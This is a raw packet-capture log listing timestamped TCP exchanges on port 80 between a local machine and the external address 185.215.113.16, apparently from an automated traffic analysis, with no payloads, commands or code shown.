Oct 24, 2024 08:38:09.670540094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.670589924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.670595884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670620918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670629025 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670650005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.670696020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670792103 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.670808077 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.670840025 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670855045 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670933962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.670978069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670981884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.670994997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.671008110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.671026945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.671051979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.671494961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.671506882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.671519041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.671567917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.671832085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.671883106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.671906948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.671952963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.715498924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715516090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715528965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715583086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715596914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715609074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715611935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.715656042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.715934038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715946913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715960026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.715980053 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.716001987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.760226011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.760328054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.760579109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.760627031 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.787650108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.787666082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.787678003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.787750959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.787750959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.787866116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.787908077 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.787930965 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.787945032 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.787998915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.788012028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.788022995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.788034916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.788042068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.788063049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.788083076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.788542032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.788554907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.788568974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.788589001 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.788671970 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.831834078 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.831846952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.831938028 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.832333088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.832371950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.832395077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.832416058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.832446098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.832457066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.832457066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.832484007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.832643032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.832654953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.832665920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.832691908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.832709074 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.832993984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.833004951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.833015919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.833038092 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.833051920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.904748917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.904762030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.904772997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.904850006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.904906988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.904917955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.904927969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.904954910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.904969931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.905217886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905227900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905239105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905266047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905268908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.905282021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905293941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.905318975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.905901909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905913115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905922890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.905952930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.905981064 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.949520111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.949532986 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.949544907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.949621916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.949655056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.949696064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.949701071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.949708939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.949748039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.949982882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.950002909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.950015068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.950032949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.950047970 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.950057983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.950073004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.950119019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.021761894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.021786928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.021797895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.021852016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.021887064 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.021965027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022011042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022038937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022079945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022089005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022109985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022121906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022131920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022135019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022144079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022162914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022182941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022614956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022638083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022650003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022686958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022686958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022686958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022708893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022722006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.022754908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.022768021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.066529989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.066560030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.066570997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.066584110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.066589117 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.066615105 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.066637039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.066669941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.066708088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.066714048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.066728115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.066752911 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.066766977 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.067022085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.067048073 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.067060947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.067074060 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.067085028 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.067110062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.067394972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.067406893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.067414045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.067444086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.067466974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.138849974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.138865948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.138873100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.138978958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.138989925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139020920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139061928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139161110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139173985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139182091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139189005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139236927 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139328003 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139666080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139688015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139700890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139714956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139724970 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139735937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139744997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139750004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.139775038 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.139787912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.191616058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.191721916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.191740990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.191749096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.191755056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.191761971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.191772938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.191833973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.192079067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.192091942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.192096949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.192105055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.192121029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.192141056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.192248106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.256122112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256175995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256186962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256246090 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.256256104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256268024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256274939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.256275892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256315947 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.256421089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256433964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256459951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.256562948 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.256951094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256963015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256973982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256979942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.256985903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.257045031 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522111893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522133112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522149086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522171021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522177935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522183895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522209883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522228003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522238016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522243023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522253990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522260904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522291899 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522311926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522324085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522336006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522352934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522360086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522366047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522376060 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522407055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522562981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522602081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522663116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522686005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522696018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522696972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522713900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522716045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522728920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522732973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522741079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522752047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522754908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522768021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522780895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522782087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522792101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522798061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522804976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522810936 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522818089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522830009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522835970 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522844076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522850990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522856951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522877932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522902012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522931099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522944927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522964001 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522964954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522977114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.522978067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522989035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.522999048 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523000956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523011923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523015022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523025036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523027897 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523037910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523050070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523061037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523062944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523073912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523082972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523087025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523097992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523099899 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523118973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523129940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523159027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523225069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523238897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523252010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523263931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523277044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523288012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.523296118 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523329973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.523341894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.526742935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.526798010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.527877092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.527921915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.527931929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.527961969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.528016090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.528038025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.528057098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.528073072 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.531876087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.531913042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.531924009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.531925917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.531951904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.531966925 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543256044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543272018 CEST	80	60982	185.215.113.16	192.168.2.5
